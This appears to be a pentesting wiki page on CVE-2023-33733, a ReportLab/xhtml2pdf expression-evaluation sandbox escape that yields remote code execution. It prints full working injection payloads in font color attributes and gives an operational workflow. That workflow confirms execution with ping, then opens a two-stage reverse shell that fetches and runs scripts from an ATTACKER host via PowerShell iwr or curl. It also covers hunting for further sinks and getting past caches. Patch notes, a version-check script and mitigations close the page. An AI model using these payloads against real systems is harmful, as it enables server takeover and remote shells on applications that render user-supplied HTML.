ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.

CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.

Key points - Trigger: inject [[[ ... ]]] into evaluated attributes such as or any style path that eventually reaches reportlab.lib.colors.toColor within ReportLab/xhtml2pdf. - Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals. - Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "globals" while avoiding blocked dunder filtering. - RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stability: Return a valid value for the attribute after execution (for color, use and 'red').

When to test - Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments. - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer - HTTP response for PDF often starts with a ReportLab generator comment

How the sandbox bypass works - rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist. - However, safe functions live in a globals dictionary accessible as func.globals. - Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that: - .startswith('') → always False (bypass name startswith('') check) - .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works) - .hash equals hash(str(self)) - With this, getattr(pow, Word('globals')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>').

Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.

<font color="[[[getattr(pow, Word('globals'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, 'eq': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, 'hash': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'"> exploit

  • The list-comprehension form allows a single expression acceptable to rl_safe_eval.
  • The trailing and 'red' returns a valid CSS color so the rendering doesn’t break.
  • Replace the command as needed; use ping to validate execution with tcpdump.

Operational workflow 1) Identify PDF generator - PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment. 2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export. 3) Verify execution with low-noise ICMP - Run: sudo tcpdump -ni <iface> icmp - Payload: ... system('ping <your_ip>') ... - Windows often sends exactly four echo requests by default. 4) Establish a shell - For Windows, a reliable two-stage approach avoids quoting/encoding issues: - Stage 1 (download):

<font color="[[[getattr(pow, Word('globals'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, 'eq': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, 'hash': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit

 - Stage 2 (execute):

<font color="[[[getattr(pow, Word('globals'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, 'eq': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, 'hash': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit

  • For Linux targets, similar two-stage with curl/wget is possible:
    • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notes and tips - Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.). - In xhtml2pdf specifically, sink hunting is broader than <font color>. Current parser code routes CSS color, background-color, and border-*-color through xhtml2pdf.util.getColor() into ReportLab toColor; bgcolor is also aliased to background-color. On legacy/vulnerable stacks, any user-controlled field that lands in those properties is worth testing. - Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches. - Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.

Patch status (2024–2025) and identifying backports - 3.6.13 (27 Apr 2023) replaced the vulnerable toColor eval path with AST-based parsing. The dangerous compatibility option is explicitly setting reportlab.rl_config.toColorCanUse='rl_safe_eval' (or changing the rl_settings.py default to that value). - rl_extended_literal_eval was introduced in the same hardening work as a constrained AST/literal evaluator for named colors and approved color constructors; it is not the original rl_safe_eval gadget surface used by this exploit. - Modern xhtml2pdf releases reduce exposure from fresh installs: 0.2.12+ depends on reportlab >= 4.0.4, and current 0.2.17 keeps that requirement. Legacy deployments, distro packages, and pinned requirements are still the common places to find reachable vulnerable combinations. - Several distributions ship backported fixes while keeping version numbers such as 3.6.12-1+deb12u1; do not rely on the semantic version alone. Check package patchlevel or inspect the active runtime configuration (see quick check below). - Quick local check to see which toColor path is live:

python - <<'PY'
import inspect
from reportlab import rl_config
from reportlab.lib import colors

mode = getattr(rl_config, 'toColorCanUse', None)
src = inspect.getsource(colors.toColor)

print(f'toColorCanUse = {mode!r}')
if mode == 'rl_safe_eval':
    print('Danger: rl_safe_eval compatibility mode is enabled')
elif 'rl_extended_literal_eval' in src or 'ast.parse' in src:
    print('Safer parser/literal-eval path present')
else:
    print('Inspect this build manually')
PY

Mitigations and detection - Upgrade ReportLab to 3.6.13 or later (or use a distro package with the backported fix). Ensure toColorCanUse is not forced to rl_safe_eval. - Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted. - Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs. - Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents).

References - PoC and technical analysis: c53elyas/CVE-2023-33733 - 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University - NVD entry (affected versions): CVE-2023-33733 - xhtml2pdf docs (markup/page concepts): xhtml2pdf docs - xhtml2pdf release notes (dependency shift to ReportLab 4.0.4+): xhtml2pdf release notes - xhtml2pdf parser source (CSS color/background/border properties mapped into PDF fragments): xhtml2pdf parser.py - ReportLab 3.6.13 release notes (AST rewrite of toColor): What's New in 3.6.13 - Debian security tracker showing backported fixes with unchanged minor versions: Debian tracker CVE-2023-33733